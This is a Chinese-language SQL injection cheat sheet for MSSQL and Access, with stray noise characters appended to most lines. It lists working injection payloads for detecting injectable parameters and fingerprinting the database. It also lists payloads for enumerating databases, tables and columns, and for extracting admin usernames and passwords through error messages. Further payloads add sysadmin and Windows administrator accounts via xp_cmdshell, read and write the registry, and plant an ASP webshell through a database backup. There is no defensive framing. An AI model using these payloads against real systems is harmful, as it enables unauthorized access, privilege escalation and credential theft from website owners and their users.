1.判断是否有注入 " s7 C1 e' F, `, P, J9 ^
;and 1=1 $ J! e% s$ {9 C7 s
;and 1=2 ( p7 S3 w# {2 B: c0 N3 b% H
8 ]- e! c# E2 h! c3 n+ S6 H2.初步判断是否是mssql 3 T" n( j% h, `- L$ v1 i
;and user>0 5 q4 X6 v3 H- t
3 H5 z v: c6 {8 c3 W
3.判断数据库系统 6 }/ S- R- Q& [7 ]# M
;and (select count(*) from sysobjects)>0 mssql 1 Z* ?# _+ ~) b' L. w- s6 O% G r
;and (select count(*) from msysobjects)>0 access
, B& c7 A5 z5 Q1 X) }
' J9 ~; z5 q1 j& O' @! ?6 ]4.注入参数是字符
. D& O1 Z. h |3 I0 q'and [查询条件] and ''='
7 t: b) ~, d2 ]; l- ]$ Y2 a) N! v' ?# g+ G2 h3 P6 v
5.搜索时没过滤参数的
7 d* R& p# j& F! n: `' \'and [查询条件] and '%25'=' # j' _1 R: {# L$ a# p: S, M
# [( i* T7 J& X# `6.猜数表名
q5 C, m8 ~, E( P6 u9 e+ };and (select Count(*) from [表名])>0 % o8 H5 g% d: w7 l3 w+ |, z2 L/ ^
" E' K# Y6 f7 ]4 o) I
7.猜字段 ; F: Y Z/ K" s: v
;and (select Count(字段名) from 表名)>0 / k9 B8 F: H* @
$ E9 N) f [. _, I; A8 `, o: f# |0 E$ i
8.猜字段中记录长度
6 h7 i } D4 `& S9 ~6 K;and (select top 1 len(字段名) from 表名)>0 3 `1 I3 u6 e. a- X' i6 p2 v# y
# L0 z: G7 Q2 ^& Y
9.(1)猜字段的ascii值(access) 9 ~" a. x9 x* b/ ~$ e7 U
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 2 G% Q& P _ w+ z8 y4 W
4 A* ^, w( W: f$ n7 r* O(2)猜字段的ascii值(mssql)
8 z+ ~* x" m: K7 B0 K7 |/ w$ `;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
2 L$ R8 T: V! H5 v3 e; t4 m
3 f/ t, [& h( R( j' X. d, J" p10.测试权限结构(mssql)
& X2 Y6 ^- u8 u& b% e; l;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
1 y- U5 z2 m* ?& C, v;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
8 a/ x. {9 k" [ L0 v;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 2 L: N( v& K0 _- t5 N) M1 b. `
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
/ `/ K4 K3 b3 S;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
' ~' a) I% B& g# z# X7 H0 i;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 7 j9 _8 Y" V1 i- o8 B0 ]
;and 1=(select IS_MEMBER('db_owner'));--
( y0 }' F0 f5 v( P' ^
: l8 u8 V1 T# p2 O a3 F7 t7 M11.添加mssql和系统的帐户 $ Q$ \7 i- A$ M) W
;exec master.dbo.sp_addlogin username;--
$ u% |4 f8 \* n/ u, X;exec master.dbo.sp_password null,username,password;-- & ?# Q. W/ z& b, O
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
5 S; k' T$ _ ?, T;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
" E7 C3 h3 I, v% n;exec master.dbo.xp_cmdshell 'net user username password /add';--
5 n. d4 e% o" S0 u% i;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
) X# @# x- j( x @* x( P/ W" [8 A. D' t6 u- t
12.(1)遍历目录
$ |8 ~& v% M! V. @;create table dirs(paths varchar(100), id int)
E9 o3 f/ b, [" f# m;insert dirs exec master.dbo.xp_dirtree 'c:\' : Y3 z, i8 `- R9 u( v
;and (select top 1 paths from dirs)>0 - u: O+ r; ~& E1 q8 I1 |
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
, b) M9 o( z+ e; ]% F- Z$ G$ ^
& R& ~1 ~# f2 }8 d; e(2)遍历目录
% r4 I' U! X6 l% O6 O$ A, d;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
# E/ y0 O# ^+ I9 Z4 _$ P;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ( J8 `' [, q/ N8 y" I. C
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 / t2 S! [' Z4 W/ W( Z; q' g5 r
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 ; B, \4 y% H1 b' z
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 / d5 T; x1 a5 X6 i
. u& c4 ]8 I; u6 Q( t8 [- t6 \13.mssql中的存储过程
2 ^& q; o2 E" l9 Jxp_regenumvalues 注册表根键, 子键 ! e3 \$ u# n3 y7 R
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 : O! G8 I" a! Z
xp_regread 根键,子键,键值名
8 y3 x7 B3 l, i ];exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 * w! C4 E2 U* C
xp_regwrite 根键,子键, 值名, 值类型, 值
* t! k# n) q. W0 E- }值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
. Z6 c" y1 c& ]. d/ L Z;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
& ?5 l7 a" X; Z3 d1 j# }5 Rxp_regdeletevalue 根键,子键,值名
7 j2 U- h: G# ^- Dexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 1 q$ r. w i/ n2 c7 o3 Q. h
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 5 n5 R8 W/ M7 j2 } _% z" B3 v
( n6 \$ _) x3 A0 d: Z2 a$ S14.mssql的backup创建webshell
; x1 B$ S2 y& T) P$ V+ ~4 U8 quse model % d$ h. }* b+ P7 p
create table cmd(str image);
2 ?% e* _" ?( Z( u+ Binsert into cmd(str) values ('<% Dim oScript %>'); . x8 @0 R; M! S
backup database model to disk='c:\l.asp'; / }! r' j& W5 i; }& K
# v# T$ x; @* v2 ` S9 i$ S
15.mssql内置函数 3 b% [* c' z: [* B
;and (select @@version)>0 获得Windows的版本号
7 y' `, X; C4 h4 [;and user_name()='dbo' 判断当前系统的连接用户是不是sa 6 l' }, k+ u D
;and (select user_name())>0 爆当前系统的连接用户
a: ~7 N& M4 a" N;and (select db_name())>0 得到当前连接的数据库
. _" ~* K- \9 }! x3 B+ D( Y! Y7 j: S( \ l% M5 H7 L
Y; o) B$ m+ M( ~
6 J& `( n) o# `# M; P3 r3 S0 N
MSSQL手注暴库
- h! U' A5 _! w2 T4 Q2 r
- }$ \/ h# { `: ]4 D5 ]# y( X1 ^1.暴出当前表名和列名
1 |8 u1 ?; [) U i3 H4 h- Z在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。" O) |0 r8 b7 V
4 d+ i6 ^+ g" s6 O( Q! L/ c, N第一.爆出所有数据库名
- e' N3 C8 i+ ^& M/ k利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
5 v2 K6 O2 m2 J( M' |第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
1 S6 Q# C6 ^8 v+ T2 \+ M( \& n
0 T7 s _7 V1 ^0 i' sand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名" `0 s. U! h$ q7 j
/ m* U7 k, O, ^; x/ I, K8 h& T
6 q$ ?- x5 v) j L. y' t第二.爆出指定库中的所有表名
, M6 R8 G' e' r/ n得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
9 S5 x, T' W# q3 G再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
+ F. g! J5 e! A/ w$ H3 @4 }8 N0 U& b/ R( E" z: \* v+ e
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--$ M- j& K! [; Y3 a6 x
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--: u$ f/ U/ r; b2 ~! m {* L `
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--* X% a* A3 M0 g$ }, |
* X' S9 E/ ]' k. p4.爆出指定表中的所有列名6 H3 ^4 \' L& |) q) Z& X
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
, z3 r, E4 W& f//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'
( m+ t8 Q5 `% f; s
! ~0 |. _& s Q% l' ~# Xand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名
# G1 [7 b) o+ H# X8 {- n( n
( b/ R# M1 _1 H& r' R再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
4 ~' g. D y M+ |, E8 ^7 a" C依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。' n! l3 S9 r2 ?: F) n; y
, u7 i R. t6 g. }, S* _
. s& }8 t2 m$ C2 ]and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值/ j3 H8 j N5 T
" c H1 g; I% b8 N
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
( d( G8 N8 d3 G& g }3 c" p9 y' q9 O& U
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
; u5 c' x; ]. Z3 c! o8 f( W" c, F+ e. `$ Q( F6 g7 G8 d$ l$ t
0 [$ D6 p+ e0 w0 h( f
5 q* `$ E y7 @- X( {- s; `% L5.读取指定表中的数据' B$ b0 X! m' I
' v6 D" f) E8 A$ m- Jand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
2 `4 K: Q2 c8 {( J9 d6 W
* b6 Q' c1 S$ B, l; s0 G \) E3 land 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
) b: G5 ]7 U7 ~6 g" R3 ]4 k/ ?/ @
% t1 o. F" r8 L! i0 [3 H8 xand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码: j9 l0 k. F$ ~1 ]- |+ _. m
+ U" l' |6 H* j( _& ^, L
9 k7 s2 r- W& }: ?4 c' Kand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)
: u) ~& S- V3 h& n
4 v) x. s4 I; t6 A+ }: Z- aand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)3 r! J0 [4 f& u7 h) c1 K
# { ?& |- e; L% W8 O4 @
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--! t' T/ k6 F9 r
+ b% k( W3 `+ X2 a3 t* E
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。- h) g( _* {+ ^) I* d! B
|